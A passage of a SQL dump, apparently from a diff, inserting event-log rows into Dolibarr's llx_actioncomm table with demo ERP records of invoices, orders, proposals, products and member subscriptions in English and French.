admin\nMO_DELETEInDolibarr',25,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(558,'558',NULL,1,'2020-01-13 15:11:54','2020-01-13 15:11:54',40,'AC_MRP_MO_VALIDATE','MO validated','2020-01-13 15:11:54','2021-04-15 10:22:55',12,NULL,6,26,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO validated',24,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(559,'559',NULL,1,'2020-01-13 15:13:19','2020-01-13 15:13:19',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-13 15:13:19','2021-04-15 10:22:55',12,NULL,6,26,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',24,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(560,'560',NULL,1,'2020-01-13 15:14:15','2020-01-13 15:14:15',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-13 15:14:15','2021-04-15 10:22:55',12,NULL,6,26,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',24,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(561,'561',NULL,1,'2020-01-13 15:29:30','2020-01-13 15:29:30',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-13 15:29:30','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(562,'562',NULL,1,'2020-01-13 17:19:24','2020-01-13 17:19:24',40,'AC_COMPANY_CREATE','Third party Italo created','2020-01-13 17:19:24','2021-04-15 10:22:55',12,NULL,NULL,30,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nThird party Italo created',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(563,'563',NULL,1,'2020-01-15 16:27:15','2020-01-15 16:27:15',40,'AC_PROJECT_MODIFY','Project RMLL modified','2020-01-15 16:27:15','2021-04-15 10:22:55',12,NULL,5,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject RMLL modified\nTask: RMLL',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(564,'564',NULL,1,'2020-01-15 16:40:50','2020-01-15 16:40:50',40,'AC_PROJECT_MODIFY','Project PROJINDIAN modified','2020-01-15 16:40:50','2021-04-15 10:22:55',12,NULL,3,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PROJINDIAN modified\nTask: PROJINDIAN',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(565,'565',NULL,1,'2020-01-16 02:22:16','2020-01-16 02:22:16',40,'AC_BILL_VALIDATE','Invoice AC2001-0001 validated','2020-01-16 02:22:16','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0001 validated',221,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(566,'566',NULL,1,'2020-01-16 02:22:24','2020-01-16 02:22:24',40,'AC_BILL_UNVALIDATE','Invoice AC2001-0001 go back to draft status','2020-01-16 02:22:24','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0001 go back to draft status',221,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(567,'567',NULL,1,'2020-01-16 02:33:27','2020-01-16 02:33:27',40,'AC_BILL_VALIDATE','Invoice AC2001-0002 validated','2020-01-16 02:33:27','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0002 validated',224,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(568,'568',NULL,1,'2020-01-16 02:36:48','2020-01-16 02:36:48',40,'AC_BILL_PAYED','Invoice AC2001-0002 changed to paid','2020-01-16 02:36:48','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0002 changed to paid',224,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(569,'569',NULL,1,'2020-01-16 02:42:12','2020-01-16 02:42:12',40,'AC_ORDER_CLASSIFY_BILLED','Order CO7001-0020 classified billed','2020-01-16 02:42:12','2021-04-15 10:22:55',12,NULL,NULL,6,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nOrder CO7001-0020 classified billed',72,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(570,'570',NULL,1,'2020-01-16 02:42:17','2020-01-16 02:42:17',40,'AC_ORDER_CLOSE','Order CO7001-0020 classified delivered','2020-01-16 02:42:17','2021-04-15 10:22:55',12,NULL,NULL,6,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nOrder CO7001-0020 classified delivered',72,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(571,'571',NULL,1,'2020-01-16 02:42:56','2020-01-16 02:42:56',40,'AC_ORDER_CLOSE','Order CO7001-0020 classified delivered','2020-01-16 02:42:56','2021-04-15 10:22:55',12,NULL,NULL,6,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nOrder CO7001-0020 classified delivered',72,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(572,'572',NULL,1,'2020-01-16 18:05:43','2020-01-16 18:05:43',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI2001-0006 validated','2020-01-16 18:05:43','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0006 validated',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(573,'573',NULL,1,'2020-01-17 14:54:18','2020-01-17 14:54:18',40,'AC_PRODUCT_MODIFY','Product PINKDRESS modified','2020-01-17 14:54:18','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PINKDRESS modified',1,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(574,'574',NULL,1,'2020-01-17 15:22:28','2020-01-17 15:22:28',40,'AC_PRODUCT_MODIFY','Product PINKDRESS modified','2020-01-17 15:22:28','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PINKDRESS modified',1,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(575,'575',NULL,1,'2020-01-19 14:22:27','2020-01-19 14:22:27',40,'AC_PROPAL_VALIDATE','Proposal PR2001-0034 validated','2020-01-19 14:22:27','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR2001-0034 validated',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(576,'576',NULL,1,'2020-01-19 14:22:34','2020-01-19 14:22:34',40,'AC_PROPAL_CLOSE_SIGNED','Proposal PR2001-0034 signed','2020-01-19 14:22:34','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR2001-0034 signed',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(577,'577',NULL,1,'2020-01-19 14:24:22','2020-01-19 14:24:22',40,'AC_PROPAL_VALIDATE','Proposal PR2001-0034 validated','2020-01-19 14:24:22','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR2001-0034 validated',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(578,'578',NULL,1,'2020-01-19 14:24:27','2020-01-19 14:24:27',40,'AC_PROPAL_CLOSE_SIGNED','Proposal PR2001-0034 signed','2020-01-19 14:24:27','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR2001-0034 signed',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(579,'579',NULL,1,'2020-01-19 14:51:43','2020-01-19 14:51:43',40,'AC_BILL_VALIDATE','Invoice AC2001-0003 validated','2020-01-19 14:51:43','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0003 validated',227,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(580,'580',NULL,1,'2020-01-19 14:51:48','2020-01-19 14:51:48',40,'AC_BILL_UNVALIDATE','Invoice AC2001-0003 go back to draft status','2020-01-19 14:51:48','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0003 go back to draft status',227,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(581,'581',NULL,1,'2020-01-19 15:01:26','2020-01-19 15:01:26',40,'AC_BILL_VALIDATE','Invoice AC2001-0004 validated','2020-01-19 15:01:26','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0004 validated',228,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(582,'582',NULL,1,'2020-01-19 15:04:37','2020-01-19 15:04:37',40,'AC_BILL_UNVALIDATE','Invoice AC2001-0004 go back to draft status','2020-01-19 15:04:37','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0004 go back to draft status',228,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(583,'583',NULL,1,'2020-01-19 15:04:53','2020-01-19 15:04:53',40,'AC_BILL_VALIDATE','Invoice AC2001-0004 validated','2020-01-19 15:04:53','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0004 validated',228,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(584,'584',NULL,1,'2020-01-19 15:09:14','2020-01-19 15:09:14',40,'AC_BILL_UNVALIDATE','Invoice AC2001-0004 go back to draft status','2020-01-19 15:09:14','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0004 go back to draft status',228,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(585,'585',NULL,1,'2020-01-19 15:13:07','2020-01-19 15:13:07',40,'AC_BILL_VALIDATE','Invoice AC2001-0004 validated','2020-01-19 15:13:07','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0004 validated',228,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(586,'586',NULL,1,'2020-01-20 12:20:11','2020-01-20 12:20:11',40,'AC_ORDER_SUPPLIER_CREATE','Order (PROV14) created','2020-01-20 12:20:11','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nOrder (PROV14) created',14,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(588,'588',NULL,1,'2020-01-21 01:02:14','2020-01-21 01:02:14',40,'AC_MEMBER_SUBSCRIPTION_CREATE','Subscription 2 for member Vick Smith added','2020-01-21 01:02:14','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nSubscription 2 for member Vick Smith added\nMember: Vick Smith\nType: 2\nAmount: 50\nPeriod: 07/18/2013 - 07/17/2014',3,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(589,'589',NULL,1,'2020-01-21 10:22:37','2020-01-21 10:22:37',40,'AC_MEMBER_SUBSCRIPTION_CREATE','Subscription 3 for member Vick Smith added','2020-01-21 10:22:37','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nSubscription 3 for member Vick Smith added\nMember: Vick Smith\nType: 2\nAmount: 50\nPeriod: 07/18/2017 - 07/17/2018',4,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(590,'590',NULL,1,'2020-01-21 10:23:17','2020-01-21 10:23:17',40,'AC_MEMBER_SUBSCRIPTION_CREATE','Subscription 4 for member Vick Smith added','2020-01-21 10:23:17','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nSubscription 4 for member Vick Smith added\nMember: Vick Smith\nType: 2\nAmount: 50\nPeriod: 07/18/2017 - 07/17/2018',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(591,'591',NULL,1,'2020-01-21 10:23:17','2020-01-21 10:23:17',40,'AC_BILL_VALIDATE','Invoice FA1707-0026 validated','2020-01-21 10:23:17','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1707-0026 validated',229,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(592,'592',NULL,1,'2020-01-21 10:23:17','2020-01-21 10:23:17',40,'AC_BILL_PAYED','Invoice FA1707-0026 changed to paid','2020-01-21 10:23:17','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1707-0026 changed to paid',229,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(593,'593',NULL,1,'2020-01-21 10:23:28','2020-01-21 10:23:28',40,'AC_MEMBER_SUBSCRIPTION_CREATE','Subscription 5 for member Vick Smith added','2020-01-21 10:23:28','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nSubscription 5 for member Vick Smith added\nMember: Vick Smith\nType: 2\nAmount: 50\nPeriod: 07/18/2018 - 07/17/2019',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(594,'594',NULL,1,'2020-01-21 10:23:28','2020-01-21 10:23:28',40,'AC_BILL_VALIDATE','Invoice FA1807-0027 validated','2020-01-21 10:23:28','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1807-0027 validated',230,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(595,'595',NULL,1,'2020-01-21 10:23:28','2020-01-21 10:23:28',40,'AC_BILL_PAYED','Invoice FA1807-0027 changed to paid','2020-01-21 10:23:28','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1807-0027 changed to paid',230,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(596,'596',NULL,1,'2020-01-21 10:23:49','2020-01-21 10:23:49',40,'AC_MEMBER_SUBSCRIPTION_CREATE','Subscription 6 for member Vick Smith added','2020-01-21 10:23:49','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nSubscription 6 for member Vick Smith added\nMember: Vick Smith\nType: 2\nAmount: 50\nPeriod: 07/18/2019 - 07/17/2020',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(597,'597',NULL,1,'2020-01-21 10:23:49','2020-01-21 10:23:49',40,'AC_BILL_VALIDATE','Invoice FA1907-0028 validated','2020-01-21 10:23:49','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1907-0028 validated',231,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(598,'598',NULL,1,'2020-01-21 10:23:49','2020-01-21 10:23:49',40,'AC_BILL_PAYED','Invoice FA1907-0028 changed to paid','2020-01-21 10:23:49','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1907-0028 changed to paid',231,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(599,'599',NULL,1,'2020-01-21 10:30:27','2020-01-21 10:30:27',40,'AC_MEMBER_MODIFY','Member Pierre Curie modified','2020-01-21 10:30:27','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember Pierre Curie modified\nMember: Pierre Curie\nType: Standard members',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(600,'600',NULL,1,'2020-01-21 10:30:36','2020-01-21 10:30:36',40,'AC_MEMBER_MODIFY','Member doe john modified','2020-01-21 10:30:36','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember doe john modified\nMember: doe john\nType: Standard members',3,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(601,'601',NULL,1,'2020-01-21 10:30:42','2020-01-21 10:30:42',40,'AC_MEMBER_MODIFY','Member smith smith modified','2020-01-21 10:30:42','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember smith smith modified\nMember: smith smith\nType: Standard members',4,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(602,'602',NULL,1,'2020-01-21 10:30:57','2020-01-21 10:30:57',40,'AC_MEMBER_MODIFY','Member Vick Smith modified','2020-01-21 10:30:57','2021-04-15 10:22:55',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember Vick Smith modified\nMember: Vick Smith\nType: Standard members',1,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(603,'603',NULL,1,'2020-06-12 10:00:00','2020-06-12 11:30:00',5,'AC_RDV','Meetings','2020-06-12 19:26:44','2021-04-15 10:22:55',12,NULL,3,NULL,NULL,0,12,1,NULL,0,0,-1,'Room 24',5400,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(604,'604',NULL,1,'2020-06-01 10:00:00','2020-06-01 10:27:00',1,'AC_TEL','Called Mr X','2020-06-12 19:28:13','2021-04-15 10:22:55',12,12,3,NULL,NULL,0,12,1,NULL,0,0,100,NULL,1620,NULL,'Customer ask another call.',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(605,'605',NULL,1,'2020-04-15 05:00:00','2020-04-15 06:00:00',5,'AC_RDV','Meet A2','2021-04-15 07:36:31','2021-04-15 10:36:31',12,NULL,NULL,NULL,NULL,0,12,1,NULL,0,0,0,'',3600,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(606,'606',NULL,1,'2021-04-15 08:38:02','2021-04-15 08:38:02',40,'AC_PRODUCT_CREATE','Product PRODSER created','2021-04-15 08:38:02','2021-04-15 11:38:02',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PRODSER created',31,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(607,'607',NULL,1,'2022-02-07 13:54:11','2022-02-07 13:54:11',40,'AC_BOM_VALIDATE','BOM validated','2022-02-07 13:54:11','2022-02-07 13:54:11',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM validated',7,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0); +INSERT INTO `llx_actioncomm` VALUES (1,'1',NULL,1,'2012-07-08 14:21:44','2012-07-08 14:21:44',50,NULL,'Company AAA and Co added into Dolibarr','2012-07-08 14:21:44','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Company AAA and Co added into Dolibarr\nAuthor: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(2,'2',NULL,1,'2012-07-08 14:23:48','2012-07-08 14:23:48',50,NULL,'Company Belin SARL added into Dolibarr','2012-07-08 14:23:48','2021-04-15 10:22:55',1,NULL,NULL,2,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Company Belin SARL added into Dolibarr\nAuthor: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(3,'3',NULL,1,'2012-07-08 22:42:12','2012-07-08 22:42:12',50,NULL,'Company Spanish Comp added into Dolibarr','2012-07-08 22:42:12','2021-04-15 10:22:55',1,NULL,NULL,3,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Company Spanish Comp added into Dolibarr\nAuthor: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(4,'4',NULL,1,'2012-07-08 22:48:18','2012-07-08 22:48:18',50,NULL,'Company Prospector Vaalen added into Dolibarr','2012-07-08 22:48:18','2021-04-15 10:22:55',1,NULL,NULL,4,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Company Prospector Vaalen added into Dolibarr\nAuthor: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(5,'5',NULL,1,'2012-07-08 23:22:57','2012-07-08 23:22:57',50,NULL,'Company NoCountry Co added into Dolibarr','2012-07-08 23:22:57','2021-04-15 10:22:55',1,NULL,NULL,5,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Company NoCountry Co added into Dolibarr\nAuthor: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(6,'6',NULL,1,'2012-07-09 00:15:09','2012-07-09 00:15:09',50,NULL,'Company Swiss customer added into Dolibarr','2012-07-09 00:15:09','2021-04-15 10:22:55',1,NULL,NULL,6,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Company Swiss customer added into Dolibarr\nAuthor: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(7,'7',NULL,1,'2012-07-09 01:24:26','2012-07-09 01:24:26',50,NULL,'Company Generic customer added into Dolibarr','2012-07-09 01:24:26','2021-04-15 10:22:55',1,NULL,NULL,7,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Company Generic customer added into Dolibarr\nAuthor: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(8,'8',NULL,1,'2012-07-10 14:54:27','2012-07-10 14:54:27',50,NULL,'Société Client salon ajoutée dans Dolibarr','2012-07-10 14:54:27','2021-04-15 10:22:55',1,NULL,NULL,8,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Société Client salon ajoutée dans Dolibarr\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(9,'9',NULL,1,'2012-07-10 14:54:44','2012-07-10 14:54:44',50,NULL,'Société Client salon invidivdu ajoutée dans Doliba','2012-07-10 14:54:44','2021-04-15 10:22:55',1,NULL,NULL,9,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Société Client salon invidivdu ajoutée dans Dolibarr\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(10,'10',NULL,1,'2012-07-10 14:56:10','2012-07-10 14:56:10',50,NULL,'Facture FA1007-0001 validée dans Dolibarr','2012-07-10 14:56:10','2021-04-15 10:22:55',1,NULL,NULL,9,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Facture FA1007-0001 validée dans Dolibarr\nAuteur: admin',1,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(11,'11',NULL,1,'2012-07-10 14:58:53','2012-07-10 14:58:53',50,NULL,'Facture FA1007-0001 validée dans Dolibarr','2012-07-10 14:58:53','2021-04-15 10:22:55',1,NULL,NULL,9,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Facture FA1007-0001 validée dans Dolibarr\nAuteur: admin',1,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(12,'12',NULL,1,'2012-07-10 15:00:55','2012-07-10 15:00:55',50,NULL,'Facture FA1007-0001 passée à payée dans Dolibarr','2012-07-10 15:00:55','2021-04-15 10:22:55',1,NULL,NULL,9,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Facture FA1007-0001 passée à payée dans 